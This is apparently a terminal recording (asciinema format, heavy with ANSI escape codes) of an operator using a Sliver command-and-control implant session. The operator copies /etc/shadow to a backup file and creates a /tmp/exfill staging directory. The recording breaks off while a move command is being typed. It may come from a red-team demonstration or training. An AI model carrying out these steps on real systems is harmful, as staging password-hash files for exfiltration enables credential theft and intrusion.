[13.241486, "o", "\u001b[1m\u001b[32mcd \u001b[39m\u001b[22m/etc\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[13.241685, "o", "\u001b[133D\u001b[1A\u001b[33D\u001b[26C\u001b[133D\u001b[33C\u001b[?25h"]
[13.574465, "o", "\u001b[33D\u001b[26C\u001b[6n"]
[13.580176, "o", "\u001b[133D\u001b[33C\u001b[0J\u001b[133D\r\r\n"]
[13.581298, "o", "\u001b[0 q\r\n"]
[13.676827, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0m/etc\r\n\r\n"]
[13.687947, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
[13.688408, "o", "\u001b[1 q\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[13.689943, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[13.690037, "o", "\u001b[133D\u001b[1A\u001b[26D\u001b[26C\u001b[133D\u001b[26C\u001b[?25h"]
[15.304689, "o", "\u001b[?25l"]
[15.311488, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[15.320488, "o", "l\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[15.321971, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[27D\u001b[26C\u001b[133D\u001b[27C\u001b[?25h"]
[15.446148, "o", "\u001b[?25l"]
[15.459294, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[15.467592, "o", "\u001b[1m\u001b[32mls\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[28D\u001b[26C"]
[15.468675, "o", "\u001b[133D\u001b[28C\u001b[?25h"]
[15.56532, "o", "\u001b[?25l"]
[15.567191, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[15.574897, "o", "\u001b[1m\u001b[32mls \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[29D\u001b[26C\u001b[133D\u001b[29C\u001b[?25h"]
[15.88002, "o", "\u001b[?25l"]
[15.881841, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[15.884781, "o", "\u001b[1m\u001b[32mls \u001b[39m\u001b[22ms\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[15.885324, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[30D\u001b[26C\u001b[133D\u001b[30C\u001b[?25h"]
[16.064252, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[16.069525, "o", "\u001b[1m\u001b[32mls \u001b[39m\u001b[22msh\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
[16.070018, "o", "\u001b[0J\u001b[133D\u001b[1A\u001b[31D\u001b[26C\u001b[133D\u001b[31C\u001b[?25h"]
[16.289252, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[16.314573, "o", "\u001b[1m\u001b[32mls \u001b[39m\u001b[22msha\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[16.315356, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[32D\u001b[26C\u001b[133D\u001b[32C\u001b[?25h"]
[16.63829, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[16.64489, "o", "\u001b[1m\u001b[32mls \u001b[39m\u001b[22msha*\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[33D"]
[16.648099, "o", "\u001b[26C\u001b[133D\u001b[33C\u001b[?25h"]
[17.210028, "o", "\u001b[33D\u001b[26C\u001b[6n"]
[17.217497, "o", "\u001b[133D\u001b[33C\u001b[0J\u001b[133D\r\r\n\u001b[0 q\r\n"]
[17.353272, "o", "/etc (1 item, 501 B)\r\n"]
[17.354018, "o", "====================\r\n"]
[17.354247, "o", "-rw-r----- root:shadow shadow 501 B Tue Apr 25 14:03:14 +0000 2023\r\n\r\n\r\n"]
[17.364485, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
[17.364605, "o", "\u001b[1 q\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
[17.365227, "o", "\u001b[6n"]
[17.366605, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
[17.367172, "o", "\u001b[0J\u001b[133D\u001b[1A\u001b[26D\u001b[26C\u001b[133D\u001b[26C\u001b[?25h"]
[18.459982, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[18.480419, "o", "c\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[27D\u001b[26C\u001b[133D\u001b[27C\u001b[?25h"]
[18.740161, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[18.747124, "o", "\u001b[1m\u001b[32mcp\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[18.748174, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[28D\u001b[26C\u001b[133D\u001b[28C\u001b[?25h"]
[18.874461, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
[18.875302, "o", "\u001b[6n"]
[18.880626, "o", "\u001b[1m\u001b[32mcp \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[29D\u001b[26C"]
[18.881555, "o", "\u001b[133D\u001b[29C\u001b[?25h"]
[19.186055, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[19.200231, "o", "\u001b[1m\u001b[32mcp \u001b[39m\u001b[22ms\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[30D\u001b[26C\u001b[133D\u001b[30C\u001b[?25h"]
[19.270446, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
[19.271413, "o", "\u001b[6n"]
[19.276628, "o", "\u001b[1m\u001b[32mcp \u001b[39m\u001b[22msh\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
[19.279294, "o", "\u001b[0J\u001b[133D\u001b[1A\u001b[31D\u001b[26C\u001b[133D\u001b[31C\u001b[?25h"]
[19.44179, "o", "\u001b[?25l"]
[19.444418, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[19.44687, "o", "\u001b[1m\u001b[32mcp \u001b[39m\u001b[22msha\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[32D\u001b[26C\u001b[133D\u001b[32C\u001b[?25h"]
[19.580204, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[19.584317, "o", "\u001b[1m\u001b[32mcp \u001b[39m\u001b[22mshad\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[33D\u001b[26C\u001b[133D\u001b[33C\u001b[?25h"]
[20.020691, "o", "\u001b[?25l"]
[20.024923, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[20.031, "o", "\u001b[1m\u001b[32mcp \u001b[39m\u001b[22mshado\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[34D\u001b[26C\u001b[133D\u001b[34C\u001b[?25h"]
[20.181092, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[20.193655, "o", "\u001b[1m\u001b[32mcp \u001b[39m\u001b[22mshadow\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
[20.194162, "o", "\u001b[0J\u001b[133D\u001b[1A\u001b[35D\u001b[26C\u001b[133D\u001b[35C\u001b[?25h"]
[20.499093, "o", "\u001b[?25l\u001b[133D"]
[20.503395, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[20.516425, "o", "\u001b[1m\u001b[32mcp \u001b[39m\u001b[22mshadow \u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[36D\u001b[26C"]
[20.518687, "o", "\u001b[133D\u001b[36C\u001b[?25h"]
[20.833119, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[20.841665, "o", "\u001b[1m\u001b[32mcp \u001b[39m\u001b[22mshadow s\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[37D\u001b[26C\u001b[133D\u001b[37C\u001b[?25h"]
[20.950326, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[20.965125, "o", "\u001b[1m\u001b[32mcp \u001b[39m\u001b[22mshadow sh\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[20.966512, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[38D\u001b[26C\u001b[133D\u001b[38C\u001b[?25h"]
[21.023234, "o", "\u001b[?25l\u001b[133D"]
[21.025679, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[21.030401, "o", "\u001b[1m\u001b[32mcp \u001b[39m\u001b[22mshadow sha\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[21.030652, "o", "\u001b[133D\u001b[1A\u001b[39D\u001b[26C\u001b[133D\u001b[39C\u001b[?25h"]
[21.125176, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[21.133165, "o", "\u001b[1m\u001b[32mcp \u001b[39m\u001b[22mshadow shad\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[40D\u001b[26C\u001b[133D\u001b[40C\u001b[?25h"]
[21.228201, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[21.238356, "o", "\u001b[1m\u001b[32mcp \u001b[39m\u001b[22mshadow shado\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[21.240256, "o", "\u001b[133D\u001b[1A\u001b[41D\u001b[26C\u001b[133D\u001b[41C\u001b[?25h"]
[21.384159, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[21.39554, "o", "\u001b[1m\u001b[32mcp \u001b[39m\u001b[22mshadow shadow\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[21.396896, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[42D\u001b[26C\u001b[133D\u001b[42C\u001b[?25h"]
[21.758536, "o", "\u001b[?25l\u001b[133D"]
[21.760078, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[21.762605, "o", "\u001b[1m\u001b[32mcp \u001b[39m\u001b[22mshadow shadow_\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[43D\u001b[26C\u001b[133D\u001b[43C\u001b[?25h"]
[22.100054, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[22.111512, "o", "\u001b[1m\u001b[32mcp \u001b[39m\u001b[22mshadow shadow_b\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
[22.112925, "o", "\u001b[0J\u001b[133D\u001b[1A\u001b[44D\u001b[26C\u001b[133D\u001b[44C\u001b[?25h"]
[22.243407, "o", "\u001b[?25l"]
[22.246399, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[22.268419, "o", "\u001b[1m\u001b[32mcp \u001b[39m\u001b[22mshadow shadow_ba\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D"]
[22.268669, "o", "\u001b[1A\u001b[45D\u001b[26C\u001b[133D\u001b[45C\u001b[?25h"]
[22.313227, "o", "\u001b[?25l"]
[22.313549, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[22.320429, "o", "\u001b[1m\u001b[32mcp \u001b[39m\u001b[22mshadow shadow_bac\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[22.320678, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[46D\u001b[26C\u001b[133D\u001b[46C\u001b[?25h"]
[22.496379, "o", "\u001b[?25l\u001b[133D"]
[22.500603, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[22.505842, "o", "\u001b[1m\u001b[32mcp \u001b[39m\u001b[22mshadow shadow_back\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[47D\u001b[26C\u001b[133D\u001b[47C\u001b[?25h"]
[22.830689, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[22.836046, "o", "\u001b[1m\u001b[32mcp \u001b[39m\u001b[22mshadow shadow_backu\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[22.836562, "o", "\u001b[133D\u001b[1A\u001b[48D\u001b[26C\u001b[133D\u001b[48C\u001b[?25h"]
[23.099235, "o", "\u001b[?25l"]
[23.10164, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[23.106762, "o", "\u001b[1m\u001b[32mcp \u001b[39m\u001b[22mshadow shadow_backup\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[49D\u001b[26C"]
[23.107571, "o", "\u001b[133D\u001b[49C\u001b[?25h"]
[23.911094, "o", "\u001b[49D\u001b[26C\u001b[6n"]
[23.924583, "o", "\u001b[133D\u001b[49C\u001b[0J\u001b[133D\r\r\n"]
[23.927684, "o", "\u001b[0 q\r\n"]
[24.015938, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mCopied 'shadow' to 'shadow_backup' (501 bytes written)\r\n"]
[24.016972, "o", "\r\n"]
[24.026939, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
[24.02705, "o", "\u001b[1 q\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
[24.027128, "o", "\u001b[6n"]
[24.028429, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[26D\u001b[26C\u001b[133D\u001b[26C\u001b[?25h"]
[25.268286, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[25.279921, "o", "m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[25.281212, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[27D\u001b[26C\u001b[133D\u001b[27C\u001b[?25h"]
[25.37957, "o", "\u001b[?25l"]
[25.380571, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[25.389185, "o", "mk\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D"]
[25.390693, "o", "\u001b[1A\u001b[28D\u001b[26C\u001b[133D\u001b[28C\u001b[?25h"]
[25.523999, "o", "\u001b[?25l\u001b[133D"]
[25.525229, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[25.540811, "o", "mkd\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[29D\u001b[26C\u001b[133D\u001b[29C\u001b[?25h"]
[25.630345, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[25.638943, "o", "mkdi\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[25.640126, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[30D\u001b[26C\u001b[133D\u001b[30C\u001b[?25h"]
[25.776163, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[25.787504, "o", "\u001b[1m\u001b[32mmkdir\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
[25.789057, "o", "\u001b[0J\u001b[133D\u001b[1A\u001b[31D\u001b[26C\u001b[133D\u001b[31C\u001b[?25h"]
[25.926321, "o", "\u001b[?25l\u001b[133D"]
[25.927986, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[25.931842, "o", "\u001b[1m\u001b[32mmkdir \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[25.932848, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[32D\u001b[26C\u001b[133D\u001b[32C\u001b[?25h"]
[26.726056, "o", "\u001b[?25l"]
[26.726938, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[26.741618, "o", "\u001b[1m\u001b[32mmkdir \u001b[39m\u001b[22m/\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[33D"]
[26.743055, "o", "\u001b[26C\u001b[133D\u001b[33C\u001b[?25h"]
[27.034668, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[27.042397, "o", "\u001b[1m\u001b[32mmkdir \u001b[39m\u001b[22m/t\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A"]
[27.043468, "o", "\u001b[34D\u001b[26C\u001b[133D\u001b[34C\u001b[?25h"]
[27.159955, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[27.167167, "o", "\u001b[1m\u001b[32mmkdir \u001b[39m\u001b[22m/tm\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
[27.168471, "o", "\u001b[0J\u001b[133D\u001b[1A\u001b[35D\u001b[26C\u001b[133D\u001b[35C\u001b[?25h"]
[27.254058, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[27.259373, "o", "\u001b[1m\u001b[32mmkdir \u001b[39m\u001b[22m/tmp\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[27.26158, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[36D\u001b[26C\u001b[133D\u001b[36C\u001b[?25h"]
[27.601187, "o", "\u001b[?25l"]
[27.603613, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[27.609461, "o", "\u001b[1m\u001b[32mmkdir \u001b[39m\u001b[22m/tmp/\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[37D\u001b[26C\u001b[133D\u001b[37C\u001b[?25h"]
[29.282956, "o", "\u001b[?25l\u001b[133D"]
[29.285053, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[29.287449, "o", "\u001b[1m\u001b[32mmkdir \u001b[39m\u001b[22m/tmp/e\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[38D\u001b[26C"]
[29.287878, "o", "\u001b[133D\u001b[38C\u001b[?25h"]
[29.441026, "o", "\u001b[?25l"]
[29.446631, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[29.453268, "o", "\u001b[1m\u001b[32mmkdir \u001b[39m\u001b[22m/tmp/ex\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[39D\u001b[26C\u001b[133D\u001b[39C\u001b[?25h"]
[29.682097, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[29.691083, "o", "\u001b[1m\u001b[32mmkdir \u001b[39m\u001b[22m/tmp/exf\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[29.692275, "o", "\u001b[133D\u001b[1A\u001b[40D\u001b[26C\u001b[133D\u001b[40C\u001b[?25h"]
[29.796651, "o", "\u001b[?25l"]
[29.797168, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[29.801776, "o", "\u001b[1m\u001b[32mmkdir \u001b[39m\u001b[22m/tmp/exfi\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[29.802577, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[41D\u001b[26C\u001b[133D\u001b[41C\u001b[?25h"]
[29.871912, "o", "\u001b[?25l\u001b[133D"]
[29.872973, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[29.876179, "o", "\u001b[1m\u001b[32mmkdir \u001b[39m\u001b[22m/tmp/exfil\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[29.877121, "o", "\u001b[133D\u001b[1A\u001b[42D\u001b[26C\u001b[133D\u001b[42C\u001b[?25h"]
[30.02913, "o", "\u001b[?25l"]
[30.031356, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[30.041685, "o", "\u001b[1m\u001b[32mmkdir \u001b[39m\u001b[22m/tmp/exfill\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[30.043057, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[43D\u001b[26C\u001b[133D\u001b[43C\u001b[?25h"]
[30.353009, "o", "\u001b[43D\u001b[26C\u001b[6n"]
[30.363659, "o", "\u001b[133D\u001b[43C\u001b[0J\u001b[133D\r\r\n\u001b[0 q\r\n"]
[30.455974, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0m/tmp/exfill"]
[30.457597, "o", "\r\n\r\n"]
[30.466566, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
[30.467097, "o", "\u001b[1 q\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[30.468653, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D"]
[30.469226, "o", "\u001b[1A\u001b[26D\u001b[26C\u001b[133D\u001b[26C\u001b[?25h"]
[32.522269, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
[32.523391, "o", "\u001b[6n"]
[32.525348, "o", "m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[32.525914, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[27D\u001b[26C\u001b[133D\u001b[27C\u001b[?25h"]
[32.682627, "o", "\u001b[?25l\u001b[133D"]
[32.683392, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[32.689008, "o", "\u001b[1m\u001b[32mmv\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D"]
[32.689622, "o", "\u001b[1A\u001b[28D\u001b[26C\u001b[133D\u001b[28C\u001b[?25h"]
[32.808793, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[32.815585, "o", "\u001b[1m\u001b[32mmv \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[29D\u001b[26C\u001b[133D\u001b[29C\u001b[?25h"]
[32.996175, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[33.006865, "o", "\u001b[1m\u001b[32mmv \u001b[39m\u001b[22ms\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[30D\u001b[26C\u001b[133D\u001b[30C\u001b[?25h"]
[33.167442, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[33.171996, "o", "\u001b[1m\u001b[32mmv \u001b[39m\u001b[22msh\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[33.172638, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[31D\u001b[26C\u001b[133D\u001b[31C\u001b[?25h"]
[33.766405, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
[33.767128, "o", "\u001b[6n"]
[33.771217, "o", "\u001b[1m\u001b[32mmv \u001b[39m\u001b[22msha\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[33.772282, "o", "\u001b[133D\u001b[1A\u001b[32D\u001b[26C\u001b[133D\u001b[32C\u001b[?25h"]
